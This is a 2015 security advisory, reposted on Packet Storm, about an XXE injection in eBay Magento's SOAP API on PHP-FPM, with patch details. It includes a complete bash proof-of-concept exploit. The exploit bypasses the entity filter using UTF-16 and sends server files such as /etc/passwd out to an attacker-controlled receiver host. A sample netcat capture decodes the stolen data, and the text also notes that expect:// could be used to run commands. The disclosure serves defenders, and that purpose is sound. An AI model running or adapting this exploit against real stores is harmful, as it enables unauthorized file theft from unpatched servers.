eBay Magento XXE Injection

2015-10-30T00:00:00
ID PACKETSTORM:134142
Type packetstorm
Reporter Dawid Golunski
Modified 2015-10-30T00:00:00

Description

                                        
                                            `=============================================  
- Release date: 29.10.2015  
- Discovered by: Dawid Golunski  
- Severity: High/Critical  
- eBay Magento ref.: APPSEC-1045  
=============================================  
  
  
I. VULNERABILITY  
-------------------------  
  
eBay Magento CE <= 1.9.2.1 XML eXternal Entity Injection (XXE) on PHP FPM  
eBay Magento EE <= 1.14.2.1   
  
  
II. BACKGROUND  
-------------------------  
  
- eBay Magento eCommerce  
  
http://magento.com/  
  
"More than 240,000 merchants worldwide put their trust in our eCommerce   
software. Magento's eCommerce platform gives you the tools you need to attract   
more prospects, sell more products, and make more money. It's what we do.  
  
We're owned by eBay, so you know we're eCommerce experts"  
  
  
- PHP FPM  
  
http://php.net/manual/en/install.fpm.php  
  
"FPM (FastCGI Process Manager) is an alternative PHP FastCGI implementation with  
some additional features (mostly) useful for heavy-loaded sites."  
  
Starting from release 5.3.3 in early 2010, PHP merged the php-fpm fastCGI   
process manager into its codebase.   
  
  
III. INTRODUCTION  
-------------------------  
  
eBay Magento eCommerce application uses Zend Framework which has a   
vulnerability that allows for XML eXternal Entity injection in applications  
served with PHP FPM.  
  
XXE (XML eXternal Entity) attack is an attack on an application that parses XML   
input from untrusted sources using incorrectly configured XML parser.   
The application may be forced to open arbitrary files and/or network resources.  
Exploiting XXE issues on PHP applications may also lead to denial of service or  
in some cases (e.g. when an 'expect' PHP module is installed) lead to command   
execution.  
  
  
IV. DESCRIPTION  
-------------------------  
  
The aforementioned XXE vulnerability in Zend Framework which affects eBay   
Magento, was discovered by Dawid Golunski and can be found in a separate   
advisory at:  
  
http://legalhackers.com/advisories/zend-framework-XXE-vuln.txt  
  
In short, the Zend Framework XXE vulnerability stems from an insufficient   
sanitisation of untrusted XML data on systems that use PHP-FPM to serve PHP   
applications.   
By using certain multibyte encodings within XML, it is possible to bypass   
the sanitisation and perform certain XXE attacks.  
  
Since eBay Magento is based on Zend Framework and uses several of its XML  
classes, it also inherits this XXE vulnerability.  
  
The vulnerability in Zend affects all its XML components, however there   
are two vulnerable Zend Framework vulnerable components:  
  
- Zend_XmlRpc_Server   
- Zend_SOAP_Server   
  
that are of special interest to attackers as they could be exploited remotely   
without any authentication.   
  
Magento implements a store API providing XML/SOAP web services.   
Although the Zend_XmlRpc is present within Magento code base, the testing   
revealed that an older zend class was use for its implementation, which was   
not vulnerable.  
  
However, further testing revealed that Magento SOAP API was implemented using  
the Zend_SOAP_Server class from Zend Framework, which is vulnerable to the   
XXE injection vulnerability discovered earlier.  
  
  
V. PROOF OF CONCEPT  
-------------------------  
  
Normally, when an XML containing entities is supplied to magento SOAP API, the  
following message gets produced:  
  
<SOAP-ENV:Body><SOAP-ENV:Fault><faultcode>Sender</faultcode>  
<faultstring>Detected use of ENTITY in XML, disabled to prevent XXE/XEE   
attacks</faultstring></SOAP-ENV:Fault></SOAP-ENV:Body></SOAP-ENV:Envelope>   
  
Below is a POC exploit that automates the steps necessary to bypass this  
protection on Magento served with PHP-FPM, and remotely exploit the XXE issue   
in Magento's SOAP API.  
  
  
---[ magento-soap-exploit.sh ]---  
  
#!/bin/bash  
#  
# POC Exploit  
# eBay Magento - XML eXternal Entity Injection (XXE) via SOAP API  
# <= 1.9.2.1  
#  
# Credits:  
#  
# Dawid Golunski  
# dawid (at) legalhackers.com  
# http://legalhackers.com  
#  
# Usage:  
#  
# [Vulnerability test]  
#  
# This is to test the vulnerability with a simple XXE payload which retrieves the  
# /dev/random file and causes a time out. No receiver server is required in this  
# test as no data is returned.  
#  
# Run the script with just the URL to Magento SOAP API, with no other parameters.   
# E.g:  
# ./magento-soap-exploit.sh http://apache-phpfpm/magento/index.php/api/soap/index  
#  
#  
# [File retrieval from the remote server]  
#   
# ./magento-soap-exploit.sh MAGENTO_SOAP_API_URL FILE_PATH RECEIVER_HOST RECEIVER_PORT  
#  
# E.g:  
# ./magento-soap-exploit.sh http://apache-phpfpm/magento/index.php/api/soap/index /etc/hosts 192.168.10.5 80  
#  
# In this example, file extracted via the XXE attack will be sent as base64 encoded parameter to:  
# http://192.168.10.5:80/fetch.php?D=[base64_string]  
# You should have the receiver server/script listening on the specified port before running this exploit.  
#  
  
TIMEOUT=6  
PAYLOAD_TMP_FILE="/tmp/payload-utf16.xml"  
  
if [ $# -ne 1 ] && [ $# -ne 4 ] ; then   
echo -e "\nUsage: \n"  
echo -e "[Vulnerability test]\n"  
echo -e "$0 MAGENTO_SOAP_API_URL"  
echo -e "E.g:"  
echo -e "$0 http://fpmserver/magento/index.php/api/soap/index\n";  
echo -e "[File retrieval]\n"  
echo -e "$0 MAGENTO_SOAP_API_URL FILE_PATH RECEIVER_HOST RECEIVER_PORT"  
echo -e "E.g:"  
echo -e "$0 http://fpmserver/magento/index.php/api/soap/index /etc/hosts 192.168.5.6 80\n";  
exit 2;  
else   
TARGETURL="$1"  
fi  
if [ $# -eq 4 ]; then   
FILE="$2"   
RECEIVER_HOST="$3"  
RECEIVER_PORT="$4"  
TEST_ONLY=0  
else  
TEST_ONLY=1  
fi   
  
# Perform only a test by reading /dev/random file  
if [ $TEST_ONLY -eq 1 ]; then   
  
# Vulnerability test mode XXE payload  
TEST_PAYLOAD_XML='<?xml version="1.0" encoding="UTF-16"?>  
<!DOCTYPE foo [   
<!ELEMENT PoC ANY >  
<!ENTITY xxe SYSTEM "file:///dev/random" >]>  
<SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/"   
  
xmlns:ns1="urn:Magento" xmlns:xsd="http://www.w3.org/2001/XMLSchema"   
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"   
xmlns:SOAP-ENC="http://schemas.xmlsoap.org/soap/encoding/"   
SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/">  
  
<SOAP-ENV:Body><ns1:test>  
<username xsi:type="xsd:string">user</username>  
<apiKey xsi:type="xsd:string">key&xxe;</apiKey></ns1:test>  
</SOAP-ENV:Body></SOAP-ENV:Envelope>'  
  
echo "$TEST_PAYLOAD_XML" | iconv -f UTF-8 -t UTF-16 > $PAYLOAD_TMP_FILE  
echo -e "Target URL: $TARGETURL\nInjecting Test XXE payload (/dev/random). Might take a few seconds.\n"  
  
# Fetching /dev/random should cause the remote script to block  
# on reading /dev/random until the script times out.  
# If there is no delay it means the remote script is not vulnerable or   
# /dev/random is not accessible.  
START=$(date +%s)  
wget -t 1 -T $TIMEOUT -O /dev/stdout $TARGETURL --post-file=$PAYLOAD_TMP_FILE  
END=$(date +%s)  
DIFF=$(expr $END \- $START )  
  
if [ $DIFF -eq $TIMEOUT ]; then  
echo "Vulnerable. No response from Magento for $DIFF seconds :)"  
exit 0  
else   
echo "Not vulnerable, or there is no /dev/random on the remote server."  
exit 1  
fi  
  
fi  
  
# File retrieval XXE payload  
SEND_DTD="<?xml version=\"1.0\" encoding=\"UTF-8\"?>  
<!ENTITY % all \"<!ENTITY send SYSTEM 'php://filter/read=/resource=http://$RECEIVER_HOST:$RECEIVER_PORT/fetch.php?D=%file;'>\">  
%all;"  
SEND_DTD_B64="`echo "$SEND_DTD" | base64 -w0`"  
FILE_PAYLOAD_XML="<?xml version=\"1.0\" encoding=\"UTF-16\"?>  
<!DOCTYPE foo [   
<!ENTITY % file SYSTEM \"php://filter/convert.base64-encode/resource=$FILE\">  
<!ENTITY % dtd SYSTEM \"data://text/plain;base64,$SEND_DTD_B64\">  
%dtd;  
]>  
<SOAP-ENV:Envelope xmlns:SOAP-ENV=\"http://schemas.xmlsoap.org/soap/envelope/\"   
  
xmlns:ns1=\"urn:Magento\" xmlns:xsd=\"http://www.w3.org/2001/XMLSchema\"   
xmlns:xsi=\"http://www.w3.org/2001/XMLSchema-instance\"   
xmlns:SOAP-ENC=\"http://schemas.xmlsoap.org/soap/encoding/\"   
SOAP-ENV:encodingStyle=\"http://schemas.xmlsoap.org/soap/encoding/\">  
  
<SOAP-ENV:Body><ns1:test>  
<username xsi:type=\"xsd:string\">user</username>  
<apiKey xsi:type=\"xsd:string\">key&send;</apiKey></ns1:test>  
</SOAP-ENV:Body></SOAP-ENV:Envelope>"  
  
# Retrieve $FILE from the remote server and send it to $RECEIVER_HOST:$RECEIVER_PORT  
echo "$FILE_PAYLOAD_XML" | iconv -f UTF-8 -t UTF-16 > $PAYLOAD_TMP_FILE  
echo -e "Target URL: $TARGETURL\nInjecting XXE payload to retrieve the $FILE file... \n"  
echo -e "If successful, Base64 encoded result will be sent to http://$RECEIVER_HOST:$RECEIVER_PORT/fetch.php/D=[base64_result]"  
echo -e "If in doubt, try the vulnerability test option."  
wget -t 1 -v -T $TIMEOUT -O /dev/stdout $TARGETURL --post-file=$PAYLOAD_TMP_FILE  
  
--------------------------------  
  
The above exploit uses the Out of band XXE payload which sends  
any retrieved data back to the attacker even though the attacker cannot  
see the resulting file in the server's response directly.   
This exploit also bypasses the LIBXML_NONET libxml setting imposed by the Zend   
Frameork which prohibits network access. This is achieved through the usage of  
php://filter wrapper which is treated as a local resource by the XML ENTITY   
handler even though it references remote resources.   
  
Successful exploitation in a test mode ('Vulnerability test', exploit run   
without parameters other than the URL to Magento SOAP API) will result in a   
time out and an internal server error caused by the XML ENTITY accessing   
/dev/random file which will block the API script.   
  
For example:  
  
---  
  
$ ./magento-soap-exploit.sh http://vulnhost/magento/index.php/api/soap/index  
Target URL: http://vulnhost/magento/index.php/api/soap/index  
Injecting Test XXE payload (/dev/random). Might take a few seconds.  
  
--2015-05-19 22:14:17-- http://vulnhost/magento/index.php/api/soap/index  
Resolving precise (vulnhost)... 127.0.0.1  
Connecting to vulnhost (vulnhost)|127.0.0.1|:80... connected.  
HTTP request sent, awaiting response... Read error (Connection timed out) in   
headers. Giving up.  
  
Vulnerable. No response from Magento for 6 seconds :)  
  
---  
  
  
Arbitrary file accessible to the PHP process can also be fetched with the   
above exploit by using the following syntax:  
  
---  
  
attacker$ ./magento-soap-exploit.sh http://vulnhost/magento/index.php/api/soap/index /etc/passwd attackershost 9090  
  
Target URL: http://vulnhost/magento/index.php/api/soap/index  
Injecting XXE payload to retrieve the /etc/passwd file...   
  
If successful, Base64 encoded result will be sent to http://attackershost:9090/fetch.php/D=[base64_result]  
If in doubt, try the vulnerability test option.  
  
--2015-05-19 22:33:06-- http://vulnhost/magento/index.php/api/soap/index  
Resolving vulnhost (vulnhost)... 192.168.57.12  
Connecting to vulnhost (vulnhost)|192.168.57.12|:80... connected.  
HTTP request sent, awaiting response... Read error (Connection timed out) in   
headers. Giving up.  
  
---  
  
The result will be sent to attacker's server listening on port 9090 which  
needs to be set up before running the exploit:  
  
---  
  
attacker# nc -vv -l 9090  
  
Listening on [0.0.0.0] (family 0, port 9090)  
Connection from [192.168.57.12] port 9090 [tcp/*] accepted (family 2, sport 47227)  
GET /fetch.php?D=cm9vdDp4OjA6MDpyb290Oi9yb290Oi9iaW4vYmFzaApkYWVtb246eDoxOjE6ZGFlbW9uOi91c3Ivc2JpbjovYmluL3NoCmJpbjp4OjI6MjpiaW46L2JpbjovYmluL3NoCnN5czp4OjM6MzpzeXM6L2RldjovYmluL3NoCnN5bmM6eDo0OjY1NTM0OnN5bmM6L2JpbjovY[...cut...] HTTP/1.0  
Host: attackershost:9090  
  
  
attacker# echo 'cm9vdDp4OjA6MDpyb290Oi9yb290Oi9iaW4vYmFzaApkYWVtb246eDoxOjE6ZGFlbW9uOi91c3Ivc2JpbjovYmluL3NoCmJpbjp4OjI6MjpiaW46L2JpbjovYmluL3NoCnN5czp4OjM6MzpzeXM6L2RldjovYmluL3NoCnN5bmM6eDo0OjY1NTM0OnN5bmM6L2JpbjovY' | base64 -d  
  
root:x:0:0:root:/root:/bin/bash  
daemon:x:1:1:daemon:/usr/sbin:/bin/sh  
bin:x:2:2:bin:/bin:/bin/sh  
sys:x:3:3:sys:/dev:/bin/sh  
[...]  
  
---  
  
  
It may also be possible to execute arbitrary commands on the remote server  
if the remote PHP installation has the 'expect' module enabled.  
In such case, an attacker could use expect:// wrapper within XML ENTITY  
to execute any command in the context of the PHP process.  
E.g:  
  
<ENTITY % file SYSTEM "expect://id">  
  
  
VI. BUSINESS IMPACT  
-------------------------  
  
This issue should be marked as high/critical due to the wide deployment of   
eBay Magento software, low complexity of exploitation, as well as a possibility  
of an unauthenticated remote exploitation as demonstrated in this advisory.   
Authentication in case of SOAP is not required for exploitation  
as the XML needs to be processed first in order to read credentials passed   
within the XML, in a SOAP login method.   
  
There is also a growing number of servers set up to serve PHP code with   
PHP-FPM, especially in web hosting environments which need to respond to heavy  
load.  
There are official Magento tutorials explaining how to set up Magento with Nginx  
and PHP FPM for best performance:  
  
http://info.magento.com/rs/magentocommerce/images/  
MagentoECG-PoweringMagentowithNgnixandPHP-FPM.pdf  
  
VII. SYSTEMS AFFECTED  
-------------------------  
  
The versions of eBay Magento CE before 1.9.2.1 were confirmed to be exploitable  
on an Apache web server with PHP-FPM SAPI, and a libxml library which processes  
XML entities by default.  
  
eBay Magento EE was not tested, but is also affected by this issue according  
to the vendor. The fix for this issue is in Magento EE 1.14.2.2 according to  
the APPSEC-1045 advisory.  
  
PHP-FPM can be set up on popular web servers such as Apache, or Nginx   
on Linux/Unix, as well as Windows systems (as per the 'fpm on cygwin' setup  
guides available on the Internet).  
  
  
VIII. SOLUTION  
-------------------------  
  
eBay Magento was informed about the issue and assigned it a reference ID of  
APPSEC-1045. eBay released a patch bundle titled:  
  
'SUPEE-6788 Patch Bundle'  
  
prior to the release of this advisory.   
To address the vulnerability, the patch should be installed, or Magento   
should be upgraded to the latest version of 1.9.2.2 which already contains   
the fix.  
  
IX. REFERENCES  
-------------------------  
  
http://legalhackers.com/advisories/eBay-Magento-XXE-Injection-Vulnerability.txt  
  
http://legalhackers.com/advisories/zend-framework-XXE-vuln.txt  
  
http://framework.zend.com/security/advisory/ZF2015-06  
  
Powering Magento with Ngnix and PHP-FPM:  
http://info.magento.com/rs/magentocommerce/images/MagentoECG-PoweringMagentowithNgnixandPHP-FPM.pdf  
  
http://www.securiteam.com/  
  
Official eBay Magento website:  
http://magento.com/  
  
Patch 'SUPEE-6788 Patch Bundle', addressing 'XXE/XEE Attack on Zend XML   
Functionality Using Multibyte Payloads' (APPSEC-1045) is available at:  
  
https://magento.com/security/patches/supee-6788  
  
  
X. DISCOVERED BY  
-------------------------  
  
The vulnerability has been discovered by Dawid Golunski  
dawid (at) legalhackers (dot) com  
legalhackers.com  
  
XI. REVISION HISTORY  
-------------------------  
  
Oct 29th, 2015: Advisory released  
  
XII. LEGAL NOTICES  
-------------------------  
  
The information contained within this advisory is supplied "as-is" with  
no warranties or guarantees of fitness of use or otherwise. I accept no  
responsibility for any damage caused by the use or misuse of this information.  
  
`